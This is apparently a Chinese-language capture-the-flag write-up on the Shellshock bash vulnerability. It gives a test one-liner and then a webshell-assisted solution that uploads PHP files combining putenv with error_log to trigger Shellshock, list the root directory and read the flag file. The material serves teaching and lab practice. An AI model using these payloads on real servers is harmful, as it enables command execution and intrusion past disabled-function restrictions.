什么是SHellShock
个人理解:当一个环境变量以"() {"开头时,bash会将该环境变量解析为函数进行执行
什么是ShellShock攻击? (zhihu.com)https://www.zhihu.com/tardis/zm/art/35579956?source_id=1005
验证是否存在ShellShock漏洞(漏洞存在于bash<4.3之前的版本。)
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
//若存在漏洞时会打印vulnerable
解题
首先还是先使用蚁剑连接,但会发现报错,最后发现是因为编码器的选择不能是default和rot13,选择其他如base64,连接成功(具体原因暂时没有找到资料,欢迎大家在评论区告知)
连接成功后,发现只能访问/var/www/html目录,其他目录无访问权限
尝试在终端执行命令,发现返回ret=127,无法执行命令
所以上传文件,借助shellshock漏洞,这里编写feng.php
查看phpinfo()时发现safe_mode_allowed_env_vars为PHP_,所以在feng.php中,环境变量的名称为PHP_自定义(可在安全模式 « PHP Manual | PHP 中文手册查看safe_mode_allowed_env_vars含义)
PHP里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触shellshock执行命令
<?php
putenv("PHP_hy=() { :; }; ls / >> /var/www/html/test");
//这里设置环境变量时只要前缀是PHP_即可
//利用shellshock漏洞,执行ls /命令,建立test文件,将结果保存在test中
error_log('',1,'','');
//查看phpinfo,发现mail函数被禁用,error_log可用,所以在这里使用error_log,在message_type设置为1的时候,使用mail()的同一个内置函数。
echo 'ok';//便于判断是否运行成功
?>
上传文件后,在浏览器访问feng.php
在/var/www/html目录下得到test文件,在test文件中得到根目录,在根目录中发现readflag与flag文件
更改feng.php内容,改为查看readflag文件,发现readflag是一个shell文件,所以运行readflag文件
<?php
putenv("PHP_hy=() { :; }; cat /readflag >> /var/www/html/test");
error_log('',1,'','');
echo 'ok';
?>
得到flag
<?php
putenv("PHP_hy=() { :; }; /readflag >> /var/www/html/test");
error_log('',1,'','');
echo 'ok';
?>
补充:因为readflag中内容为tac /flag,所以也可以不运行readflag文件,直接访问flag文件
<?php
putenv("PHP_hy=() { :; }; tac /flag >> /var/www/html/test");
error_log('',1,'','');
echo 'ok';
?>